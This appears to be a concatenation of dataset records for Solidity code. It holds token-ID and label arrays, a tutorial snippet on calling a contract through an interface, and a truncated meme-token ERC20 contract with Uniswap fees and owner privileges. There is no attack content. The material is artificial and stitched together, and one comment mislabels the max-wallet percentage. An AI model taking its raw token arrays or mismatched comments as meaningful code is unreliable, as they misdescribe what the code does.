[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 18274, 40, 338, 14461, 8259, 353, 18274, 14461, 8259, 288, 203, 565, 1450, 14060, 654, 39, 3462, 90, 22, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 3885, 12, 2867, 9512, 9953, 6848, 16, 1758, 341, 546, 13, 203, 3639, 18274, 14461, 8259, 12, 17203, 9953, 6848, 16, 341, 546, 13, 203, 203, 565, 445, 312, 474, 15996, 12, 203, 3639, 1758, 9512, 6011, 16, 203, 3639, 1758, 5184, 1345, 16, 203, 3639, 2254, 5034, 5184, 6275, 16, 203, 3639, 1758, 9512, 40, 338, 16, 203, 3639, 1731, 3778, 745, 751, 21, 16, 203, 3639, 1731, 3778, 745, 751, 22, 203, 565, 262, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 3639, 1135, 261, 203, 5411, 2254, 5034, 3844, 20, 16, 203, 5411, 2254, 5034, 3844, 21, 16, 203, 5411, 2254, 5034, 312, 474, 6275, 16, 203, 5411, 2254, 10392, 4501, 372, 24237, 49, 474, 329, 203, 3639, 262, 203, 565, 288, 203, 3639, 2583, 12, 9953, 6848, 18, 291, 16950, 2864, 12, 17203, 6011, 3631, 17528, 6011, 8863, 203, 203, 3639, 309, 261, 9261, 1345, 422, 389, 1584, 44, 13, 288, 203, 5411, 2583, 12, 3576, 18, 1132, 422, 5184, 6275, 16, 315, 5048, 11339, 460, 8863, 203, 5411, 467, 654, 39, 3462, 12, 9261, 1345, 2934, 4626, 5912, 1265, 12, 203, 7734, 389, 3576, 12021, 9334, 203, 7734, 1758, 12, 2211, 3631, 203, 7734, 5184, 6275, 203, 5411, 11272, 203, 5411, 467, 654, 39, 3462, 12, 9261, 1345, 2934, 12908, 537, 12, 17203, 40, 338, 16, 374, 1769, 203, 5411, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /* Let's imagine we don't have access to this code, it was coded by someone else, and already deployed on blockchain */ /// PS: in real life, it's thousand lines of codes // contract Counter { // uint256 public count; // function inc() external { // count += 1; // } // function dec() external { // count -= 1; // } // } /// However you want to call this contract "Counter", and we've seen that to call another contract you have to provide his "code". Nonetheless You don't have his code or copy thousand line of code would be very expensive at deploy time. So how can we do ? -> Interface, if you know his shape, you can create his code with an interface interface ICounter { /// ICounter, means the "Interface of Counter", it's a writting convention, follow it or not. /// Note: we define a shape of a contract, we don't code the contract, so function ends with ";" / Also an interface is only composed of functions even for variable function count() external view returns (uint256); // -> Note: for state variable, we defined their getter function (it's something automatically made by solidity at compile time, state variables are in practice just getter/setter) function inc() external; function dec() external; } /// Now that we have the shape of the Counter contract, we can call it exactly like we learn it! contract CallInterface { uint256 public count; function examples(address _counter) external { ICounter(_counter).inc(); // -> We can now apply the same methods to call contract count = ICounter(_counter).count(); } }
Now that we have the shape of the Counter contract, we can call it exactly like we learn it!
contract CallInterface { uint256 public count; } function examples(address _counter) external { count = ICounter(_counter).count(); } }
12,668,406
[ 1, 8674, 716, 732, 1240, 326, 2179, 434, 326, 9354, 6835, 16, 732, 848, 745, 518, 8950, 3007, 732, 16094, 518, 5, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3049, 1358, 288, 203, 225, 2254, 5034, 1071, 1056, 31, 203, 203, 97, 203, 225, 445, 10991, 12, 2867, 389, 7476, 13, 3903, 288, 203, 565, 1056, 273, 467, 4789, 24899, 7476, 2934, 1883, 5621, 203, 225, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** Website : https://saitameow.com/ Twitter : https://twitter.com/SaitameowToken Telegram : https://t.me/saitameowportal */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SAITAMEOW is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyReflectionsFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellReflectionsFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Saitameow", "SAITAMEOW") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 6; uint256 _buyLiquidityFee = 2; uint256 _buyReflectionsFee = 2; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 2; uint256 _sellReflectionsFee = 2; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 3 / 1000; // 0.3% maxTransactionAmountTxn maxWallet = totalSupply * 30 / 1000; // 1.5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyReflectionsFee = _buyReflectionsFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyReflectionsFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellReflectionsFee = _sellReflectionsFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellReflectionsFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { 